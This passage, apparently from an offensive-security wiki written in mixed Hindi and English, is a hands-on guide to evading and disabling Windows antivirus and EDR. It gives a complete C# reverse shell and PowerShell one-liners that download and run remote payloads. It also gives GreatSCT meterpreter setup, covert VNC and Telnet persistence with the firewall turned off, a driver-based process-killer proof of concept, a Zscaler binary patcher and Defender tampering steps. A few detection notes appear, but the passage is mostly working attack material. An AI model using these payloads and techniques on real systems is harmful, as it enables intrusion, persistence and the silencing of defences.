A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) cannot be applied to non NTFS volumes.

PackMyPayload एक tool है जो payloads को output containers में package करके Mark-of-the-Web से बचने में मदद करता है।

Example usage:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

ETW

Event Tracing for Windows (ETW) Windows में एक शक्तिशाली लॉगिंग मेकेनिज्म है जो applications और system components को घटनाओं को लॉग करने की अनुमति देता है। हालाँकि, इसे security products द्वारा malicious गतिविधियों की निगरानी और पहचान के लिए भी उपयोग किया जा सकता है।

जिस तरह AMSI को disabled (bypassed) किया जाता है, उसी तरह user space process के EtwEventWrite फंक्शन को बिना किसी इवेंट को लॉग किए तुरंत return कराने की संभावना भी है। यह फंक्शन को मेमोरी में patch करके सीधे return करवा कर किया जाता है, जिससे उस प्रोसेस के लिए ETW logging प्रभावी रूप से disabled हो जाता है।

You can find more info in https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/.

C# Assembly Reflection

C# बाइनरीज़ को मेमोरी में लोड करना काफी समय से जाना हुआ तरीका है और यह अभी भी आपके post-exploitation टूल्स को AV द्वारा पकड़े बिना चलाने का एक बहुत अच्छा तरीका है।

चूँकि payload सीधे मेमोरी में लोड होगा और डिस्क को नहीं छुएगा, हमें पूरे प्रोसेस के लिए केवल AMSI को patch करने की चिंता करनी होगी।

Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:

• Fork&Run

यह एक नए sacrificial process को spawn करना शामिल करता है, उस नए प्रोसेस में आपका post-exploitation malicious code inject करना, आपका malicious code execute करना और समाप्त होने पर उस नए प्रोसेस को kill कर देना। इससे फायदे और नुकसान दोनों होते हैं। Fork and run विधि का फायदा यह है कि execution हमारे Beacon implant process के outside होता है। इसका मतलब है कि यदि हमारी किसी post-exploitation क्रिया में कुछ गलत होता है या पकड़ा जाता है, तो हमारे implant surviving की काफी अधिक संभावना रहती है। नुकसान यह है कि Behavioural Detections द्वारा पकड़े जाने की अधिक संभावना रहती है।

• Inline

यह अपने ही प्रोसेस में post-exploitation malicious code inject करने के बारे में है। इस तरह आप नया प्रोसेस बनाने और उसे AV द्वारा स्कैन करवाने से बच सकते हैं, लेकिन नुकसान यह है कि यदि आपके payload के execution में कुछ गलत हो जाता है, तो आपके beacon के खोने की काफी अधिक संभावना रहती है क्योंकि वह क्रैश कर सकता है।

Tip

यदि आप C# Assembly loading के बारे में और पढ़ना चाहते हैं, तो कृपया इस आर्टिकल को देखें https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ और उनका InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)

आप C# Assemblies को from PowerShell भी लोड कर सकते हैं, देखें Invoke-SharpLoader और S3cur3th1sSh1t’s video.

Using Other Programming Languages

जैसा कि प्रस्तावित है https://github.com/deeexcee-io/LOI-Bins, यह संभव है कि compromised मशीन को उन इंटरप्रेटर एनवायरनमेंट तक एक्सेस देकर अन्य भाषाओं का उपयोग करके malicious code execute किया जा सके जो Attacker Controlled SMB share पर इंस्टॉल हों।

SMB share पर Interpreter Binaries और environment तक पहुंच की अनुमति देकर आप compromised मशीन की मेमोरी में इन भाषाओं में arbitrary code execute कर सकते हैं।

The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have more flexibility to bypass static signatures. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.

TokenStomping

Token stomping एक तकनीक है जो attacker को access token या किसी security prouct जैसे EDR या AV को manipulate करने की अनुमति देती है, जिससे वे उसके privileges कम कर सकते हैं ताकि प्रोसेस मर न जाए पर उसके पास malicious गतिविधियों की जांच करने के लिए permissions न रहें।

To prevent this Windows could prevent external processes from getting handles over the tokens of security processes.

• https://github.com/pwn1sher/KillDefender/
• https://github.com/MartinIngesen/TokenStomp
• https://github.com/nick-frischkorn/TokenStripBOF

Using Trusted Software

Chrome Remote Desktop

जैसा कि this blog post में बताया गया है, किसी victim के PC पर Chrome Remote Desktop को deploy करना और फिर उसे takeover कर persistence बनाए रखना आसान है:

1. https://remotedesktop.google.com/ से डाउनलोड करें, “Set up via SSH” पर क्लिक करें, और फिर Windows के लिए MSI फाइल डाउनलोड करने के लिए MSI फाइल पर क्लिक करें।
2. Victim पर installer को silently रन करें (admin आवश्यक): msiexec /i chromeremotedesktophost.msi /qn
3. Chrome Remote Desktop पेज पर वापस जाएँ और next पर क्लिक करें। विज़ार्ड आपसे authorize करने को कहेगा; जारी रखने के लिए Authorize बटन पर क्लिक करें।
4. दिए गए पैरामीटर को कुछ समायोजन के साथ execute करें: "%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111 (ध्यान दें pin पैरामीटर जो GUI का उपयोग किए बिना pin सेट करने की अनुमति देता है।)

Advanced Evasion

Evasion एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई अलग-अलग telemetry स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व environments में पूरी तरह से अनदेखा रहना लगभग असंभव है।

हर environment जिसका आप सामना करते हैं, उसकी अपनी ताकत और कमजोरियाँ होंगी।

मैं आपको अत्यधिक प्रोत्साहित करता हूँ कि आप @ATTL4S का यह टॉक देखें, ताकि Advanced Evasion तकनीकों में एक foothold मिल सके।

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

यह @mariuszbit का Evasion in Depth पर एक और शानदार टॉक है।

- YouTube

Old Techniques

जाँचें कि Defender किस हिस्से को malicious मानता है

आप ThreatCheck का उपयोग कर सकते हैं जो बाइनरी के हिस्सों को हटाता जाएगा जब तक कि यह पता न लगा ले कि Defender किस हिस्से को malicious मान रहा है और उसे आपको अलग कर के दिखा देगा।
एक और टूल जो यही काम करता है वह है avred जिसका एक ओपन वेब है जो सेवा https://avred.r00ted.ch/ पर प्रदान करता है

Telnet Server

Windows10 से पहले, सभी Windows के साथ एक Telnet server आता था जिसे आप (administrator के रूप में) install कर सकते थे, ऐसा करते हुए:

pkgmgr /iu:"TelnetServer" /quiet

इसे सिस्टम चालू होने पर शुरू करें और इसे अभी चलाएँ:

sc config TlntSVR start= auto obj= localsystem

telnet port बदलें (stealth) और firewall को अक्षम करें:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Download it from: http://www.uvnc.com/downloads/ultravnc.html (आपको bin downloads चाहिए, setup नहीं)

ON THE HOST: Execute winvnc.exe and configure the server:

• विकल्प Disable TrayIcon को सक्षम करें
• VNC Password में पासवर्ड सेट करें
• View-Only Password में पासवर्ड सेट करें

फिर, बाइनरी winvnc.exe और नया बनाया गया फ़ाइल UltraVNC.ini को victim के अंदर रखें

Reverse connection

The attacker should execute inside his host the binary vncviewer.exe -listen 5900 so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon winvnc.exe -run and run winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

WARNING: छुपे रहने के लिए आपको कुछ चीजें नहीं करनी चाहिए

• अगर winvnc पहले से चल रहा है तो इसे शुरू न करें, वरना आप popup ट्रिगर कर देंगे। यह जांचने के लिए tasklist | findstr winvnc चलाएँ
• उसी डायरेक्टरी में UltraVNC.ini के बिना winvnc शुरू न करें, नहीं तो यह the config window खोल देगा
• मदद के लिए winvnc -h न चलाएँ वरना आप popup ट्रिगर कर देंगे

GreatSCT

Download it from: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

GreatSCT के अंदर:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

अब msfconsole -r file.rc के साथ लिस्टर शुरू करें और निष्पादित करें xml payload के साथ:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

वर्तमान Defender प्रक्रिया को बहुत तेज़ी से समाप्त कर देगा।

अपना खुद का reverse shell कंपाइल करना

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

पहला C# Revershell

इसे कंपाइल करें:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

इसे इसके साथ उपयोग करें:

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# कम्पाइलर का उपयोग

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

स्वचालित डाउनलोड और निष्पादन:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

C# obfuscators सूची: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

• https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
• https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
• https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
• https://github.com/l0ss/Grouper2
• http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
• http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/

build injectors बनाने के लिए python का उपयोग — उदाहरण:

• https://github.com/cocomelonc/peekaboo

अन्य उपकरण

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

अधिक

• https://github.com/Seabreg/Xeexe-TopAntivirusEvasion

Bring Your Own Vulnerable Driver (BYOVD) – Kernel Space से AV/EDR को निष्क्रिय करना

Storm-2603 ने एक छोटे console utility जिसे Antivirus Terminator कहा जाता है का उपयोग करके endpoint protections को डिसेबल किया और फिर ransomware गिराई। यह टूल अपना vulnerable परंतु signed driver लेकर आता है और उसे ऐसे privileged kernel ऑपरेशन्स के लिए abuses करता है जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।

मुख्य निष्कर्ष

1. Signed driver: डिस्क पर दिया गया फ़ाइल ServiceMouse.sys है, लेकिन बाइनरी असल में Antiy Labs के “System In-Depth Analysis Toolkit” का वैध रूप से signed driver AToolsKrnl64.sys है। क्योंकि ड्राइवर पर वैध Microsoft सिग्नेचर है, यह तब भी लोड हो जाता है जब Driver-Signature-Enforcement (DSE) enabled हो।
2. Service installation:

sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start  ServiceMouse

पहली लाइन ड्राइवर को kernel service के रूप में रजिस्टर करती है और दूसरी लाइन उसे शुरू करती है ताकि \\.\ServiceMouse user land से एक्सेसिबल हो जाए। 3. IOCTLs exposed by the driver

Minimal C proof-of-concept:

#include <windows.h>

int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}

4. Why it works: BYOVD user-mode protections को पूरी तरह स्किप कर देता है; kernel में चलने वाला कोड protected processes को खोल सकता है, उन्हें terminate कर सकता है, या kernel ऑब्जेक्ट्स के साथ छेड़छाड़ कर सकता है चाहे PPL/PP, ELAM या अन्य hardening फीचर्स मौजूद हों।

Detection / Mitigation • Microsoft की vulnerable-driver block list (HVCI, Smart App Control) को सक्षम करें ताकि Windows AToolsKrnl64.sys को लोड करने से मना कर दे।
• नए kernel services के निर्माण की निगरानी करें और अलर्ट करें जब कोई ड्राइवर world-writable डायरेक्टरी से लोड हो या allow-list पर मौजूद न हो।
• user-mode हैंडल्स को custom device objects तक पहुँचने और उसके बाद suspicious DeviceIoControl कॉल्स के लिए मॉनिटर करें।

Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching

Zscaler का Client Connector device-posture rules को लोकली लागू करता है और Windows RPC पर भरोसा करता है ताकि परिणाम अन्य घटकों तक भेजे जा सकें। दो कमजोर डिजाइन विकल्प एक पूर्ण bypass को संभव बनाते हैं:

1. Posture evaluation पूरी तरह client-side होता है (server को एक boolean भेजा जाता है)।
2. Internal RPC endpoints केवल यह validate करते हैं कि connecting executable Zscaler द्वारा signed है (via WinVerifyTrust)।

डिस्क पर चार signed बाइनरीज़ को पैच करके दोनों मेकैनिज़्म को neutalise किया जा सकता है:

Minimal patcher excerpt:

pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1

with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)

मूल फ़ाइलों को बदलने और सर्विस स्टैक को पुनरारंभ करने के बाद:

• सभी posture checks green/compliant दिखाते हैं।
• Unsigned या modified binaries named-pipe RPC endpoints खोल सकते हैं (उदा. \\RPC Control\\ZSATrayManager_talk_to_me)।
• संक्रमित होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक अनियंत्रित पहुँच प्राप्त कर लेता है।

यह केस स्टडी दिखाती है कि कैसे केवल क्लाइंट-साइड ट्रस्ट निर्णय और सरल signature checks कुछ byte पैचेस से पराजित किए जा सकते हैं।

Protected Process Light (PPL) का दुरुपयोग करके LOLBINs से AV/EDR में छेड़छाड़

Protected Process Light (PPL) एक signer/level hierarchy लागू करता है ताकि केवल समान-या-उच्चतर protected processes ही एक-दूसरे में छेड़छाड़ कर सकें। Offensive तौर पर, यदि आप वैध रूप से एक PPL-enabled binary लॉन्च कर सकते हैं और उसके arguments को नियंत्रित कर सकते हैं, तो आप benign functionality (उदा., logging) को एक सीमित, PPL-backed write primitive में बदल सकते हैं जो AV/EDR द्वारा उपयोग किए जाने वाले protected directories के खिलाफ लिखने के लिए प्रयोग किया जा सके।

What makes a process run as PPL

• The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
• The process must be created with CreateProcess using the flags: EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS.
• A compatible protection level must be requested that matches the signer of the binary (e.g., PROTECTION_LEVEL_ANTIMALWARE_LIGHT for anti-malware signers, PROTECTION_LEVEL_WINDOWS for Windows signers). Wrong levels will fail at creation.

See also a broader intro to PP/PPL and LSASS protection here:

Windows Credentials Protections

Launcher tooling

• Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
• https://github.com/2x7EQ13/CreateProcessAsPPL
• Usage pattern:

CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>

LOLBIN primitive: ClipUp.exe

• The signed system binary C:\Windows\System32\ClipUp.exe स्वयं स्पॉन करता है और कॉलर-निर्दिष्ट पथ पर लॉग फ़ाइल लिखने के लिए एक पैरामीटर स्वीकार करता है।
• जब इसे PPL प्रक्रिया के रूप में लॉन्च किया जाता है, फ़ाइल लेखन PPL बैकिंग के साथ होता है।
• ClipUp स्पेस वाले पाथ्स को पार्स नहीं कर सकता; सामान्यतः संरक्षित स्थानों की ओर इशारा करने के लिए 8.3 short paths का उपयोग करें।

8.3 short path helpers

• शॉर्ट नाम सूचीबद्ध करें: प्रत्येक परेंट डायरेक्टरी में dir /x।
• cmd में शॉर्ट पाथ निकालें: for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA

Abuse chain (abstract)

1. PPL-सक्षम LOLBIN (ClipUp) को CREATE_PROTECTED_PROCESS के साथ एक लॉन्चर (जैसे CreateProcessAsPPL) का उपयोग करके लॉन्च करें।
2. ClipUp को log-path argument पास करें ताकि एक फ़ाइल एक संरक्षित AV डायरेक्टरी (उदा., Defender Platform) में बनाई जा सके। आवश्यक होने पर 8.3 short names का उपयोग करें।
3. यदि लक्ष्य बाइनरी सामान्यतः AV द्वारा रन करते समय खुला/लॉक रहता है (उदा., MsMpEng.exe), तो AV के शुरू होने से पहले बूट पर लेखन शेड्यूल करने के लिए एक auto-start service इंस्टॉल करें जो विश्वसनीय रूप से पहले चले। Process Monitor (boot logging) के साथ बूट ऑर्डरिंग को मान्य करें।
4. रीबूट पर PPL-बैक्ड लेखन AV के बाइनरी लॉक करने से पहले होता है, जिससे लक्ष्य फ़ाइल करप्ट हो जाती है और स्टार्टअप रोक दिया जाता है।

Example invocation (paths redacted/shortened for safety):

# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll

Notes and constraints

• आप ClipUp द्वारा लिखी गई सामग्री को उसके स्थान से आगे नियंत्रित नहीं कर सकते; यह primitive सटीक सामग्री इंजेक्शन की तुलना में भ्रष्टिकरण के लिए उपयुक्त है।
• स्थापना/स्टार्ट करने और रीबूट विंडो के लिए local admin/SYSTEM आवश्यक है।
• समय-सारणी महत्वपूर्ण है: लक्ष्य खुला नहीं होना चाहिए; boot-time execution फाइल लॉक से बचाता है।

Detections

• असामान्य तर्कों के साथ ClipUp.exe की प्रक्रिया निर्माण, विशेषकर गैर-मानक लॉन्चरों द्वारा parented, बूट के आसपास।
• ऐसे नए services जो suspicious binaries को auto-start के लिए कॉन्फ़िगर करते हैं और लगातार Defender/AV से पहले स्टार्ट होते हैं। Defender startup विफलताओं से पहले service creation/modification की जाँच करें।
• Defender binaries/Platform डायरेक्टरीज़ पर file integrity monitoring; protected-process flags वाले प्रक्रियाओं द्वारा अनपेक्षित फ़ाइल क्रिएशन/मॉडिफिकेशन।
• ETW/EDR telemetry: उन प्रक्रियाओं की तलाश करें जो CREATE_PROTECTED_PROCESS के साथ बनाई गई हैं और non-AV बाइनरी द्वारा असामान्य PPL स्तर का उपयोग।

Mitigations

• WDAC/Code Integrity: यह प्रतिबंधित करें कि कौन से signed binaries PPL के रूप में चल सकते हैं और किन parent प्रक्रियाओं के अंतर्गत; ClipUp invocation को वैध संदर्भों के बाहर ब्लॉक करें।
• Service hygiene: auto-start services के creation/modification को प्रतिबंधित करें और start-order में हेरफेर की निगरानी रखें।
• सुनिश्चित करें कि Defender tamper protection और early-launch protections सक्षम हों; बाइनरी करप्शन सूचित करने वाले startup errors की जांच करें।
• यदि आपके वातावरण के अनुकूल हो तो सुरक्षा टूलिंग होस्ट करने वाले वॉल्यूम पर 8.3 short-name generation को अक्षम करने पर विचार करें (पूरी तरह परीक्षण करें)।

References for PPL and tooling

• Microsoft Protected Processes का अवलोकन: https://learn.microsoft.com/windows/win32/procthread/protected-processes
• EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
• Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
• CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
• Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html

Microsoft Defender को Platform Version Folder Symlink Hijack के माध्यम से हेरफेर करना

Windows Defender उस platform का चयन उन सबफ़ोल्डरों की गणना करके करता है जो नीचे हैं:

• C:\ProgramData\Microsoft\Windows Defender\Platform\

यह सबसे उच्च lexicographic version string वाले सबफ़ोल्डर का चयन करता है (उदा., 4.18.25070.5-0), और फिर वहां से Defender service प्रक्रियाओं को स्टार्ट करता है (service/registry paths को तदनुसार अपडेट करते हुए)। यह चयन directory entries पर भरोसा करता है जिनमें directory reparse points (symlinks) भी शामिल हैं। एक administrator इसका लाभ उठाकर Defender को attacker-writable path पर रीडायरेक्ट कर सकता है और DLL sideloading या service disruption प्राप्त कर सकता है।

Preconditions

• Local Administrator (Platform फ़ोल्डर के अंतर्गत directories/symlinks बनाने के लिए आवश्यक)
• रीबूट करने की क्षमता या Defender platform re-selection (service restart on boot) ट्रिगर करने की क्षमता
• केवल built-in tools की ज़रूरत (mklink)

Why it works

• Defender अपनी खुद की फ़ोल्डरों में लिखावट ब्लॉक करता है, पर उसका platform चयन directory entries पर भरोसा करता है और सबसे उच्च lexicographic version चुनता है बिना यह सत्यापित किए कि लक्ष्य एक protected/trusted path पर resolve होता है या नहीं।

Step-by-step (example)

1. Prepare a writable clone of the current platform folder, e.g. C:\TMP\AV:

set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
set DST="C:\TMP\AV"
robocopy %SRC% %DST% /MIR

2. Platform के अंदर अपने फ़ोल्डर की ओर इशारा करने वाला higher-version directory symlink बनाएं:

mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"

3. ट्रिगर चयन (रीबूट की सिफारिश):

shutdown /r /t 0

4. सत्यापित करें कि MsMpEng.exe (WinDefend) पुनर्निर्देशित पथ से चल रहा है:

Get-Process MsMpEng | Select-Object Id,Path
# or
wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath

आपको C:\TMP\AV\ के अंतर्गत नए process path और उस स्थान को दर्शाते हुए service configuration/registry दिखाई देने चाहिए।

Post-exploitation विकल्प

• DLL sideloading/code execution: उन DLLs को drop/replace करें जिन्हें Defender अपने application directory से लोड करता है ताकि Defender की processes में code execute हो सके। ऊपर के सेक्शन को देखें: DLL Sideloading & Proxying.
• Service kill/denial: version-symlink को हटाएँ ताकि अगली start पर configured path resolve न हो और Defender start न कर पाए:

rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"

Tip

ध्यान दें कि यह तकनीक स्वयं में privilege escalation प्रदान नहीं करती; इसके लिए admin rights आवश्यक हैं।

API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style)

Red teams C2 implant से runtime evasion को हटाकर target module में ही स्थानांतरित कर सकते हैं, इसके Import Address Table (IAT) को hook करके और चुनी हुई APIs को attacker-controlled, position‑independent code (PIC) के माध्यम से रूट करके। यह उन छोटे API surface से परे evasion को सामान्य करता है जिन्हें कई kits एक्सपोज़ करते हैं (उदा., CreateProcessA), और वही सुरक्षा BOFs और post‑exploitation DLLs पर भी लागू करता है।

High-level approach

• Reflective loader (prepended या companion) का उपयोग करके target module के साथ एक PIC blob स्टेज करें। PIC self‑contained और position‑independent होना चाहिए।
• जब host DLL लोड होता है, तो उसके IMAGE_IMPORT_DESCRIPTOR को वॉक करें और targeted imports (उदा., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) के लिए IAT एंट्रीज़ को thin PIC wrappers की ओर patch करें।
• प्रत्येक PIC wrapper वास्तविक API address को tail‑call करने से पहले evasions चलाता है। सामान्य evasions में शामिल हैं:
  • कॉल के आस‑पास memory mask/unmask (उदा., beacon regions encrypt करना, RWX→RX, page names/permissions बदलना) और फिर कॉल के बाद restore करना।
  • Call‑stack spoofing: एक benign stack बनाकर target API में transition करना ताकि call‑stack analysis अपेक्षित frames को resolve करे।
• Compatibility के लिए एक interface export करें ताकि एक Aggressor script (या समकक्ष) यह register कर सके कि Beacon, BOFs और post‑ex DLLs के लिए कौन‑सी APIs hook करनी हैं।

Why IAT hooking here

• यह उन किसी भी code के लिए काम करता है जो hooked import का उपयोग करता है, tool code को modify किए बिना या Beacon पर specific APIs को proxy करने पर निर्भर हुए बिना।
• post‑ex DLLs को भी कवर करता है: LoadLibrary* को hook करने से आप module loads (उदा., System.Management.Automation.dll, clr.dll) intercept कर सकते हैं और उनके API calls पर वही masking/stack evasion लागू कर सकते हैं।
• CreateProcessA/W को wrap करके call‑stack–based detections के खिलाफ process‑spawning post‑ex commands के भरोसेमंद उपयोग को बहाल करता है।

Minimal IAT hook sketch (x64 C/C++ pseudocode)

// For each IMAGE_IMPORT_DESCRIPTOR
//  For each thunk in the IAT
//    if imported function == "CreateProcessA"
//       WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper;
// Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask();

Notes

• Apply the patch after relocations/ASLR and before first use of the import. Reflective loaders like TitanLdr/AceLdr demonstrate hooking during DllMain of the loaded module.
• Keep wrappers tiny and PIC-safe; resolve the true API via the original IAT value you captured before patching or via LdrGetProcedureAddress.
• Use RW → RX transitions for PIC and avoid leaving writable+executable pages.

Call‑stack spoofing stub

• Draugr‑style PIC stubs build a fake call chain (return addresses into benign modules) and then pivot into the real API.
• This defeats detections that expect canonical stacks from Beacon/BOFs to sensitive APIs.
